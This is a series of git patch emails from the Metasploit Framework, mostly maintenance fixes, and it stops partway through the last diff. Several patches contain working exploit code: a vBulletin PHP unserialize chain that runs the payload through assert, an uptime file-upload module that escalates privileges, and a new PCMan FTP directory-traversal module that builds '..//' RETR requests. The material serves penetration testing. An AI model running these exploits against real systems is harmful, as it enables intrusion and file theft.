#raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock) date = "Date: #{datastore['DATE']}\r\n" else - #raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock) date = "Date: #{DateTime.now.rfc2822}\r\n" end # If the user supplied a Subject field, use that subject = nil if datastore['SUBJECT'].present? - #raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock) subject = "Subject: #{datastore['SUBJECT']}\r\n" end From ceaf7440a728ce00e94e89f5c2f3eaac2c402a59 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 5 Nov 2015 10:42:20 -0600 Subject: [PATCH 1104/2172] Send full message --- lib/msf/core/exploit/smtp_deliver.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index e2eabbfefe..a4900e8b1c 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -166,7 +166,7 @@ module Exploit::Remote::SMTPDeliver full_msg << date full_msg << subject unless subject.nil? full_msg << data - send_status = raw_send_recv("#{data}\r\n.\r\n", nsock) + send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock) end if not already_connected From f93f3397eccb3b8b2e57d2d68c0494b7d3388dff Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Fri, 6 Nov 2015 19:29:11 +0100 Subject: [PATCH 1105/2172] Fix some mistakes pointed by @wchen-r7 --- modules/exploits/unix/webapp/vbulletin_unserialize.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/vbulletin_unserialize.rb b/modules/exploits/unix/webapp/vbulletin_unserialize.rb index 33f30826f7..1360ba0e5c 100644 --- a/modules/exploits/unix/webapp/vbulletin_unserialize.rb +++ b/modules/exploits/unix/webapp/vbulletin_unserialize.rb @@ -46,8 +46,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - res = send_request_cgi({ 'uri' => '/' }) - if (res && res.body =~ /Version 5.1./ && res.body =~ /Copyright © 2015 vBulletin Solutions, Inc./) + res = send_request_cgi({ 'uri' => target_uri.path }) + if (res && res.body.include?("Version 5.1.") && res.body.include?('Copyright © 2015 vBulletin Solutions, Inc.')) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Unknown From f84e9a88b0094b24774f71b495e147c62b2cef6c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 10:40:07 -0800 Subject: [PATCH 1106/2172] Credit for original vuln discovery --- modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index 74401aaeec..d967e840cc 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -23,11 +23,12 @@ class Metasploit3 < Msf::Auxiliary sends these Crypto-NAK packets in order to establish an association between the target ntpd instance and the attacking client. The end goal is to cause ntpd to declare the legitimate peers "false tickers" and - choose the attacking client(s) as the preferred peer(s), allowing + choose the attacking clients as the preferred peers, allowing these peers to control time. ), 'Author' => [ + 'Matthew Van Gundy of Cisco ASIG', # vulnerability discovery 'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module ], 'License' => MSF_LICENSE, From 73f630b25a77f7bcca055cfa8d44a1edbe395236 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 6 Nov 2015 13:18:24 -0600 Subject: [PATCH 1107/2172] Note default.php --- modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb index 8de45e6b67..97821eb2a7 100644 --- a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb @@ -85,6 +85,8 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil? vprint_status("#{peer} - Trying to upload payload") + + # This must be default.php filename = 'default.php' print_status("#{peer} - Uploading payload") From f957acf9baede5171f4f95f9c9cbe8a7ddeec644 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 6 Nov 2015 13:56:05 -0600 Subject: [PATCH 1108/2172] Fix Framework Rspec Failure Needs to do: include Msf::Exploit::Remote::HTTP::Wordpress --- modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb index 97821eb2a7..9f07c15816 100644 --- a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) From f408bca3f002de60e0e657927d6bae9303dc0fee Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 12:25:27 -0800 Subject: [PATCH 1109/2172] More correct exception handling --- modules/auxiliary/scanner/rsync/modules_list.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 1a6eeaa449..ab198bbad6 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -11,6 +11,10 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report RSYNC_HEADER = '@RSYNCD:' + HANDLED_EXCEPTIONS = [ + Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, + ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError + ] def initialize super( @@ -153,7 +157,7 @@ class Metasploit3 < Msf::Auxiliary disconnect return end - rescue => e + rescue *HANDLED_EXCEPTIONS => e vprint_error("#{peer} - error while connecting and negotiating: #{e}") disconnect return @@ -174,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary modules_metadata = {} begin modules_metadata = rsync_list - rescue => e + rescue *HANDLED_EXCEPTIONS => e vprint_error("#{peer} -- error while listing modules: #{e}") return ensure @@ -195,8 +199,9 @@ class Metasploit3 < Msf::Auxiliary connect rsync_negotiate module_metadata[:authentication] = get_rsync_auth_status(module_metadata[:name]) - rescue => e + rescue *HANDLED_EXCEPTIONS => e vprint_error("#{peer} - error while testing authentication on #{module_metadata[:name]}: #{e}") + break ensure disconnect end From 3cae7999aa5b0811c3e196473f6290a1ed133269 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 6 Nov 2015 14:35:02 -0600 Subject: [PATCH 1110/2172] Prefer ctype over headers['Content-Type'] --- modules/exploits/unix/webapp/oscommerce_filemanager.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index bbd6ecb55d..51d6d0c8f9 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -79,10 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save", 'method' => 'POST', 'data' => data, - 'headers' => - { - 'Content-Type' => 'application/x-www-form-urlencoded', - } + 'ctype' => 'application/x-www-form-urlencoded' }, 3) # If the upload worked, the server tries to redirect us to some info From f34bf544d3b00d1ec191d458d6c6bc7ed9846cab Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 13:23:14 -0800 Subject: [PATCH 1111/2172] Update msftidy to flag authors with unbalanced angle brackets --- tools/dev/msftidy.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 68f4eecdf8..19b95e2053 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -317,6 +317,8 @@ class Msftidy next end + # XXX: note that this is all very fragile and regularly incorrectly parses + # the author # # Mark our 'Author' block # @@ -328,10 +330,12 @@ class Msftidy # - # While in 'Author' block, check for Twitter handles + # While in 'Author' block, check for malformed authors # if in_super and in_author - if line =~ /Author/ + if line =~ /Author['"]\s*=>\s*['"](.*)['"],/ + author_name = Regexp.last_match(1) + elsif line =~ /Author/ author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' else author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' @@ -344,6 +348,14 @@ class Msftidy if not author_name.ascii_only? error("Please avoid unicode or non-printable characters in Author") end + + unless author_name.empty? + author_open_brackets = author_name.scan('<').size + author_close_brackets = author_name.scan('>').size + if author_open_brackets != author_close_brackets + error("Author has unbalanced brackets: #{author_name}") + end + end end end end From 43229c16e77003bdfe482fc6e5d4b934ac791b0f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 13:24:58 -0800 Subject: [PATCH 1112/2172] Correct some authors with unbalanced angle brackets --- modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb | 2 +- modules/auxiliary/scanner/quake/server_info.rb | 2 +- modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb | 2 +- modules/exploits/windows/mysql/mysql_start_up.rb | 2 +- modules/exploits/windows/smb/psexec_psh.rb | 2 +- modules/post/multi/gather/lastpass_creds.rb | 2 +- modules/post/windows/gather/phish_windows_credentials.rb | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb index f5b72fe5ce..acb1737c39 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'jclaudius <jclaudius[at]trustwave.com>', - 'lguay <laura.r.guay[at]gmail.com' + 'lguay <laura.r.guay[at]gmail.com>' ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/scanner/quake/server_info.rb b/modules/auxiliary/scanner/quake/server_info.rb index 7d4c9e24ea..f8012e7a4c 100644 --- a/modules/auxiliary/scanner/quake/server_info.rb +++ b/modules/auxiliary/scanner/quake/server_info.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary This module uses the getstatus or getinfo request to obtain information from a Quakeserver. ), - 'Author' => 'Jon Hart <jon_hart[at]rapid7.com', + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', 'References' => [ ['URL', 'ftp://ftp.idsoftware.com/idstuff/quake3/docs/server.txt'] diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb index 74753d8cb2..2839baa385 100644 --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Thomas Hibbert <thomas.hibbert@security-assessment.com' # Vulnerability discovery and MSF module + 'Thomas Hibbert <thomas.hibbert@security-assessment.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb index e3f111db6c..9a26596055 100644 --- a/modules/exploits/windows/mysql/mysql_start_up.rb +++ b/modules/exploits/windows/mysql/mysql_start_up.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'sinn3r', - 'Sean Verity <veritysr1980[at]gmail.com' + 'Sean Verity <veritysr1980[at]gmail.com>' ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index bb61a3fe3b..0c45d00c83 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module - 'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders + 'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders ], 'License' => MSF_LICENSE, 'Privileged' => true, diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 64e87043fe..05941ee7cf 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Post 'Author' => [ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research 'Martin Vigo <martinvigo[at]gmail.com>', # original module and research - 'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup + 'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup ], 'Platform' => %w(linux osx unix win), 'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']], diff --git a/modules/post/windows/gather/phish_windows_credentials.rb b/modules/post/windows/gather/phish_windows_credentials.rb index 2bf68fa43c..f01d8c6b95 100644 --- a/modules/post/windows/gather/phish_windows_credentials.rb +++ b/modules/post/windows/gather/phish_windows_credentials.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Wesley Neelen <security[at]forsec.nl', # Metasploit module, @wez3forsec on Twitter + 'Wesley Neelen <security[at]forsec.nl>', # Metasploit module, @wez3forsec on Twitter 'Matt Nelson' # Original powershell script, @enigma0x3 on Twitter ], 'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ], From 0213da38105ef0680f97fb823545421be878856c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 6 Nov 2015 18:08:51 -0600 Subject: [PATCH 1113/2172] Handle more NilClass bugs --- .../multi/http/uptime_file_upload_2.rb | 61 ++++++++++++++++--- 1 file changed, 53 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/uptime_file_upload_2.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb index 629894802a..8d8c7cf5bf 100644 --- a/modules/exploits/multi/http/uptime_file_upload_2.rb +++ b/modules/exploits/multi/http/uptime_file_upload_2.rb @@ -74,6 +74,10 @@ class Metasploit4 < Msf::Exploit::Remote super("#{rhost}:#{rport} - #{msg}") end + def fail_with(status, msg) + super(status, "#{rhost}:#{rport} - #{msg}") + end + # Application Check def check res = send_request_cgi( @@ -195,13 +199,17 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }) + unless res_auth + fail_with(Failure::Unknown, 'Connection timed out while trying to login') + end + # Check OS phpfile_name = rand_text_alpha(10) - if res_auth && res_auth.headers['Server'] =~ /Unix/ + if res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph') uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards') @@ -216,7 +224,7 @@ class Metasploit4 < Msf::Exploit::Remote cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end - if res_auth && res_auth.get_cookies =~ /login=true/ + if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") @@ -232,7 +240,17 @@ class Metasploit4 < Msf::Exploit::Remote }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) + + unless res_priv + fail_with(Failure::Unknown, 'Connection timed out while getting userID.') + end + matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/) + + unless matchdata + fail_with(Failure::Unknown, 'Unable to find userID for escalation') + end + get_id = matchdata[0].gsub(/[^\d]/, '') vprint_status('Escalating privileges...') @@ -273,14 +291,22 @@ class Metasploit4 < Msf::Exploit::Remote } ) + unless res_priv_elev + fail_with(Failure::Unknown, 'Connection timed out while escalating...') + end + # Refresing perms - vprint_status('Refresing perms...') + vprint_status('Refreshing perms...') res_priv = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) + unless res_priv + fail_with(Failure::Unknown, 'Connection timed out while refreshing perms') + end + res_auth = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -289,7 +315,12 @@ class Metasploit4 < Msf::Exploit::Remote 'password' => datastore['PASSWORD'] } ) - if res_auth && res_auth.get_cookies =~ /login=true/ + + unless res_auth + fail_with(Failure::Unknown, 'Connection timed out while authenticating...') + end + + if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") @@ -297,7 +328,7 @@ class Metasploit4 < Msf::Exploit::Remote end # CREATING Linux EXEC Service - if res_auth && res_auth.headers['Server'] =~ /Unix/ + if res_auth.headers['Server'] =~ /Unix/ vprint_status('Creating Linux Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) @@ -309,7 +340,7 @@ class Metasploit4 < Msf::Exploit::Remote # Upload file vprint_status('Uploading file...') - send_request_cgi( + up_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { @@ -318,6 +349,10 @@ class Metasploit4 < Msf::Exploit::Remote } ) + unless up_res + fail_with(Failure::Unknown, 'Connection timed out while uploading file.') + end + vprint_status('Checking Uploaded file...') res_up_check = send_request_cgi( 'method' => 'GET', @@ -328,6 +363,7 @@ class Metasploit4 < Msf::Exploit::Remote print_good("File found: #{phpfile_name}") else print_error('File not found') + return end # Get Monitor ID @@ -345,7 +381,16 @@ class Metasploit4 < Msf::Exploit::Remote } ) + unless res_mon_id + fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID') + end + matchdata = res_mon_id.body.match(/id=?[^>]*>/) + + unless matchdata + fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.') + end + mon_get_id = matchdata[0].gsub(/[^\d]/, '') print_good("Monitor id aquired:#{mon_get_id}") # Executing monitor From 8f2a716306f462a3817245bbdf7060059a777e6f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 6 Nov 2015 18:11:08 -0600 Subject: [PATCH 1114/2172] I don't really need to override fail_with --- modules/exploits/multi/http/uptime_file_upload_2.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/uptime_file_upload_2.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb index 8d8c7cf5bf..697c5998ec 100644 --- a/modules/exploits/multi/http/uptime_file_upload_2.rb +++ b/modules/exploits/multi/http/uptime_file_upload_2.rb @@ -74,10 +74,6 @@ class Metasploit4 < Msf::Exploit::Remote super("#{rhost}:#{rport} - #{msg}") end - def fail_with(status, msg) - super(status, "#{rhost}:#{rport} - #{msg}") - end - # Application Check def check res = send_request_cgi( @@ -193,6 +189,7 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit + fail_with(Failure::Unknown, 'oh no') vprint_status('Trying to login...') # Application Login res_auth = send_request_cgi( From 0cc8165b52ecdeeb201f1c118349d238b42a41a1 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 6 Nov 2015 18:11:27 -0600 Subject: [PATCH 1115/2172] And I forgot to rm the test line --- modules/exploits/multi/http/uptime_file_upload_2.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/uptime_file_upload_2.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb index 697c5998ec..f0c0b40805 100644 --- a/modules/exploits/multi/http/uptime_file_upload_2.rb +++ b/modules/exploits/multi/http/uptime_file_upload_2.rb @@ -189,7 +189,6 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit - fail_with(Failure::Unknown, 'oh no') vprint_status('Trying to login...') # Application Login res_auth = send_request_cgi( From e2678af0fe284c467612408f9e204773d2ebaf09 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Sat, 7 Nov 2015 14:26:04 +0100 Subject: [PATCH 1116/2172] The modules now works on 5.1.X and 5.0.X - Added automatic targeting - Added support for 5.0.X --- .../unix/webapp/vbulletin_unserialize.rb | 49 +++++++++++++++---- 1 file changed, 40 insertions(+), 9 deletions(-) diff --git a/modules/exploits/unix/webapp/vbulletin_unserialize.rb b/modules/exploits/unix/webapp/vbulletin_unserialize.rb index 1360ba0e5c..cbd0c71354 100644 --- a/modules/exploits/unix/webapp/vbulletin_unserialize.rb +++ b/modules/exploits/unix/webapp/vbulletin_unserialize.rb @@ -35,7 +35,11 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] ], 'Arch' => ARCH_PHP, - 'Targets' => [['vBulletin 5.1.2', {}]], + 'Targets' => [ + [ 'Automatic Targeting', { 'auto' => true } ], + ['vBulletin 5.0.X', {'chain' => 'vB_Database'}], + ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}], + ], 'DisclosureDate' => 'Nov 4 2015', 'DefaultTarget' => 0)) @@ -46,18 +50,45 @@ class Metasploit3 < Msf::Exploit::Remote end def check - res = send_request_cgi({ 'uri' => target_uri.path }) - if (res && res.body.include?("Version 5.1.") && res.body.include?('Copyright © 2015 vBulletin Solutions, Inc.')) - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Unknown - end - Exploit::CheckCode::Safe + begin + res = send_request_cgi({ 'uri' => target_uri.path }) + if (res && res.body.include?('vBulletin Solutions, Inc.')) + if res.body.include?("Version 5.0") + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body.include?("Version 5.1") + @my_target = targets[2] if target['auto'] + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end end def exploit + print_status("#{peer} - Trying to inferprint the instance...") - chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:18:"vB_Database_MySQLi":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + + chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:' + chain << @my_target["chain"].length.to_s + chain << ':"' + chain << @my_target["chain"] + chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}" chain = Rex::Text.uri_encode(chain) From 730f6b23265f143924a3572fd38c82452fc4a12e Mon Sep 17 00:00:00 2001 From: fraf0 <fraf0@users.noreply.github.com> Date: Sat, 7 Nov 2015 15:23:32 +0100 Subject: [PATCH 1117/2172] Update dns_srv_enum.rb Remove some comment following message on pull-request. --- modules/auxiliary/gather/dns_srv_enum.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 8e02910978..596559d2a9 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -1,7 +1,3 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -# # patch 20150915 by fraf : # - Split record srvrcd one entry by line for readability. # - Add record for Default-First-Site-Name : From 970c5da9a6f453d6e6a4b74fdba7ff5c1db79e71 Mon Sep 17 00:00:00 2001 From: fraf0 <fraf0@users.noreply.github.com> Date: Sat, 7 Nov 2015 20:01:26 +0100 Subject: [PATCH 1118/2172] Update dns_srv_enum.rb --- modules/auxiliary/gather/dns_srv_enum.rb | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 596559d2a9..0502b0a685 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -1,17 +1,6 @@ -# patch 20150915 by fraf : -# - Split record srvrcd one entry by line for readability. -# - Add record for Default-First-Site-Name : -# (according to https://technet.microsoft.com/en-us/library/cc759550%28v=ws.10%29.aspx) -# '_gc._tcp.Default-First-Site-Name._sites.', -# '_kerberos._tcp.Default-First-Site-Name._sites.', -# '_kerberos.tcp.Default-First-Site-Name._sites.dc._msdcs.', -# '_ldap._tcp.Default-First-Site-Name._sites.', -# '_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.', -# '_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.', -# - Remove double entry '_kerberos.tcp.dc._msdcs.' -# - Add fqdn query in logs. -# - Add report_note to store and preserve the fqdn query. -# +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From bb9e8203721537bd3f301dd5cdaba2096fecb9c1 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 8 Nov 2015 13:08:23 +0800 Subject: [PATCH 1119/2172] Create pcman_ftp_traversal.rb Adding CVE-2015-7601 --- .../scanner/ftp/pcman_ftp_traversal.rb | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb new file mode 100644 index 0000000000..22fb9f8db9 --- /dev/null +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PCMan FTP Server Directory Traversal Information Disclosure', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7. + This vulnerability allows an attacker to download arbitrary files from the server by crafting + a RETR command that includes file system traversal strings such as '..//' + }, + 'Platform' => 'win', + 'Author' => + [ + 'Jay Turla <@shipcod3>', # msf + 'James Fitts', # initial discovery + 'Brad Wolfe' # brad.wolfe[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '38340'], + [ 'CVE', '2015-7601'] + ], + 'DisclosureDate' => 'Sep 28 2015')) + + register_options( + [ + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + ], self.class) + end + + def check + connect + disconnect + if (banner =~ /220 PCMan's FTP Server 2\.0/) + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def run_host(target_host) + begin + # Login anonymously and open the socket that we'll use for data retrieval. + connect_login + sock = data_connect + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = ( "..//" * 32 ) + "#{file_path}" + res = send_cmd( ["RETR", retr_cmd]) + + # read the file data from the socker that we opened + response_data = sock.read(1024) + + if response_data.length == 0 or ! (res =~ /^150/ ) + print_status("File (#{file_path})from #{rhost} : #{rport} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("pcman.ftp.data", "text",rhost,response_data, file, file_path) + print_status("Stored #{file_path} to #{loot_file}") + + # Read and print the data from the loot file. + info_disclosure = IO.read(loot_file) + print_status("Printing contents of #{file_path}") + print_good("Result:\n #{info_disclosure}") + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue 